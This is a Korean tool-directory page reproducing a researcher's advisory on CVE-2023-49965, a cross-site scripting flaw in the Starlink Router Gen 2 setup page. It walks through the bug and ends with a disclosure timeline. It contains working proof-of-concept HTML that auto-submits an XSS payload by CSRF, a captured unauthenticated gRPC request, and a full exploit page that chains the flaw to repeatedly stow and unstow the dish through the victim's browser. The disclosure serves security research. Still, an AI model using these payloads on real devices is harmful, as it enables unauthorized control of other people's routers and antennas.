Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/yoshida-git-ai/spacex-starlink-router-gen-2-xss
IoT SecurityExploitationWeb Application ExploitationWireless SecurityPenetration TestingHardware & IoT Security
GitHubyoshida-git-ai/spacex-starlink-router-gen-2-xss

SpaceX-Starlink-Router-Gen-2-XSS

CVE-2023-49965 | SpaceX / Starlink 라우터 Gen 2 XSS

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
172년 전아직 검토되지 않음

SpaceX / Starlink 라우터 2세대 XSS (CVE-2023-49965)

한국어 버전의 게시물은 여기에서 볼 수 있습니다 :
https://hackintoanetwork.com/blog/2023-starlink-router-gen2-xss-kor

TL;DR


2세대 라우터의 초기 captive portal 페이지에 존재하는 Cross-Site Scripting (XSS) 취약점으로 인해 공격자가 router와 Dishy를 제어할 수 있습니다.

기본 정보


  • 제품 : Starlink Router Gen 2
  • 테스트 버전 : 2022.32.0 (수정은 2023.48.0 이상 버전에 포함됨)
  • 버그 분류 : XSS(Cross-Site Scripting)

취약점 개요


img1.webp

이 취약점은 초기 라우터 설정 페이지(http://192.168.1.1/setup)에서 ssid 및 password 매개변수의 입력 값 필터링이 충분하지 않아 발생합니다.

root@kitploit:~
<html>
	<body>
		<h1>Proof of Concept</h1>
		<form id="PoC" method="POST" action="http://192.168.1.1/setup">
			<input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'>
			<!-- <input type="hidden" name="password" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->
		</form>
		<script type="text/javascript">
			document.addEventListener("DOMContentLoaded", function() {
				document.getElementById("PoC").submit();
			});
		</script>
	</body>
<html>

이 Cross-Site Scripting (XSS) 취약점은 위의 개념 증명에서 보여지듯 Cross-Site Request Forgery (CSRF) 공격과 결합하여 악용될 수 있습니다.

reproduce(PoC).mov

Exploit


일반적으로 captive portal 페이지는 router's internal address인 192.168.1.1에서만 활성화되어야 하지만, 구형 라우터에서는 Dishy's internal address인 192.168.100.1에서도 captive portal 페이지에 예기치 않게 접근할 수 있는 버그가 있었습니다.

  • http://192.168.1.1/setup → captive portal 페이지가 정상적으로 표시됩니다.

    http://192.168.1.1/setup

  • http://192.168.100.1/setup → 이 주소에서도 captive portal 페이지가 표시됩니다.

    http://192.168.100.1/setup

(일반적으로 Dishy's internal address인 192.168.100.1에서는 captive portal 페이지에 접근할 수 없어야 합니다.)

이러한 버그를 Cross-Site Scripting (XSS) 취약점과 함께 사용하면 브라우저의 Same-Origin Policy (SOP)를 우회할 수 있어 Router와 Dishy를 모두 제어할 수 있습니다.

192.168.100.1_PoC.mov

동일한 Cross-Site Scripting (XSS) 취약점이 http://192.168.100.1/setup 주소에서도 발생함을 확인할 수 있습니다.

이제 이러한 버그를 악용하여 Router와 Dishy를 제어하는 방법을 살펴보겠습니다.

Dishy Stow 요청 분석


Starlink Dishy Stow

관리자 인터페이스에서 Stow 명령을 실행하면 다음 HTTP 요청이 Dishy로 전송됩니다.

(참고: Stow 명령을 사용하면 Dishy 안테나를 접어 이동하거나 보관할 수 있습니다.)

root@kitploit:~
POST /SpaceX.API.Device.Device/Handle HTTP/1.1
Host: 192.168.100.1:9201
Content-Length: 8
x-grpc-web: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
content-type: application/grpc-web+proto
Accept: */*
Origin: http://dishy.starlink.com
Referer: http://dishy.starlink.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

�}

이 요청의 헤더에는 몇 가지 중요한 정보가 포함되어 있습니다.

  • x-grpc-web: 1

    이는 gRPC-Web 프로토콜을 사용하고 있음을 나타냅니다.

    (**gRPC-Web**은 웹 클라이언트가 서버에 gRPC 호출을 할 수 있게 해주는 프로토콜입니다.)

  • content-type: application/grpc-web+proto

    전송되는 데이터가 gRPC 프로토콜을 사용하며 protobuf 형식으로 인코딩되었음을 의미합니다.

  • Request Body

    Dishy Stow 요청 본문 (Hex)

    Dishy Stow 요청 본문 (Hex)

    root@kitploit:~
    \x00\x00\x00\x00\x03\xef\xbf\xbd\x7d\x00
    

    요청 본문은 grpc-web+proto 형식의 데이터를 포함하며, 여기에는 Stow 명령의 세부 정보가 담겨 있을 것입니다.

이 정보를 종합하면, 사용자가 관리자 인터페이스를 통해 Stow 명령을 실행하면 이 명령이 gRPC를 통해 Dishy로 전송되어 Dishy를 휴대 가능한 상태로 접습니다.

하지만 요청을 살펴보면 요청을 보내는 사용자에 대한 인증이 없다는 것을 알 수 있습니다.

즉, 관리자가 아닌 다른 사람도 동일한 요청을 보내 인증 없이 Dishy를 제어할 수 있습니다. 다만 이 취약점은 공격자가 local network에 physical access해야 하므로, 원격으로 발생할 수 있는 공격에 비해 공격 범위가 제한적입니다.

CSRF 공격의 가능성과 한계


그렇다면 동일한 요청을 보내는 페이로드로 Cross-Site Request Forgery (CSRF) 공격을 시도할 수 있다고 생각할 수 있습니다.

가능한 시나리오이기는 하지만, 브라우저의 Same-Origin Policy (SOP)가 이 공격을 제한합니다.

gRPC는 application/grpc-web+proto라는 특정 content-type 헤더를 요구합니다.

그러나 Same-Origin Policy (SOP)로 인해 브라우저는 다른 출처에서 요청을 보낼 때 이 헤더를 제거합니다.

따라서 일반적인 상황에서는 외부에서 Dishy로 gRPC 요청을 보내는 것이 불가능합니다.

XSS: SOP를 우회하는 효과적인 방법


일반적으로 Same-Origin Policy (SOP)는 웹 브라우저가 다른 출처에서 요청을 보내는 것을 제한합니다.

그러나 Cross-Site Scripting (XSS) 취약점을 이용하면 공격자가 피해자의 웹 브라우저 내에서 스크립트를 실행할 수 있습니다.

Cross-Site Scripting (XSS) 취약점을 이용해 공격자가 주입한 스크립트는 동일한 출처(즉, 피해자가 현재 접속 중인 웹사이트)에서 실행된 것으로 간주됩니다.

그렇기 때문에 Same-Origin Policy (SOP)는 이러한 스크립트가 생성한 요청을 동일 출처에서 온 것으로 인식하며, 따라서 이 경우 Same-Origin Policy (SOP)의 제한이 적용되지 않습니다.

따라서 gRPC 요청과 같이 특정 content-type 헤더를 요구하는 Cross-Site Scripting (XSS) 취약점을 이용한 Cross-Site Request Forgery (CSRF) 공격에서는 공격 스크립트가 피해자의 브라우저 내에서 실행되므로 해당 요청은 정당한 요청으로 인식되어 이 특정 content-type 헤더와 함께 전송됩니다.

예를 들어, 192.168.100.1의 버그와 Cross-Site Scripting (XSS) 취약점을 연쇄적으로 활용하면, 공격자는 악성 스크립트를 전송하여 사용자의 브라우저를 프록시처럼 이용해 grpc 요청을 보내 Router나 Dishy에 명령을 내릴 수 있습니다. (공격자는 Dishy의 Stow 및 Unstow 명령을 포함한 다양한 grpc 요청을 보낼 수 있습니다.)

Exploit PoC (Proof of Concept)


따라서 Cross-Site Scripting (XSS) 취약점과 앞서 언급한 bug를 연쇄적으로 활용하면 Dishy에 Stow gRPC 요청을 보내는 페이로드를 다음과 같이 구성할 수 있습니다. (결과적으로 공격자는 원격으로 router나 Dishy를 제어할 수 있습니다. 예를 들어 grpc 명령을 보내 router settings를 변경하거나 Dishy's functionality를 조작할 수 있습니다.)

root@kitploit:~
<html>
	<body>
		<h1>Dishy Stow and Unstow</h1>
		<form id="PoC" method="POST" action="http://192.168.100.1/setup">
			<!-- <input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->
			<input type="hidden" name="password" value='"><script>for(let i=0;i<100;i++){setTimeout(()=>{var xhr=new XMLHttpRequest();xhr.open("POST","http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle",true);xhr.setRequestHeader("x-grpc-web","1");xhr.setRequestHeader("Content-Type","application/grpc-web+proto");xhr.onreadystatechange=()=>{if(xhr.readyState==4&&xhr.status==200){console.log(xhr.responseText);}};xhr.send(new Uint8Array([0,0,0,0,3,146,125,0]).buffer);setTimeout(()=>{var xhr2=new XMLHttpRequest();xhr2.open("POST","http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle",true);xhr2.setRequestHeader("x-grpc-web","1");xhr2.setRequestHeader("Content-Type","application/grpc-web+proto");xhr2.onreadystatechange=()=>{if(xhr2.readyState==4&&xhr2.status==200){console.log(xhr2.responseText);}};xhr2.send(new Uint8Array([0,0,0,0,5,146,125,2,8,1]).buffer);},1000);},i*2000);}</script><input type="hidden'/>
		</form>
		<script type="text/javascript">
			document.addEventListener("DOMContentLoaded", function() {
				document.getElementById("PoC").submit();
			});
		</script>
	</body>
<html>

데모


Exploit-PoC.mp4

CVE

  • CVE-2023-49965

타임라인

  • 2023-10-10 : SpaceX/Starlink에 취약점 보고
  • 2023-10-12 : Moderate 심각도의 보안 취약점으로 인정됨 (보상금 $500 USD)
  • 2023-11-01 : 최신 릴리스에서 패치됨 (수정은 2023.48.0 이상 버전에 포함됨)
도구 다운로드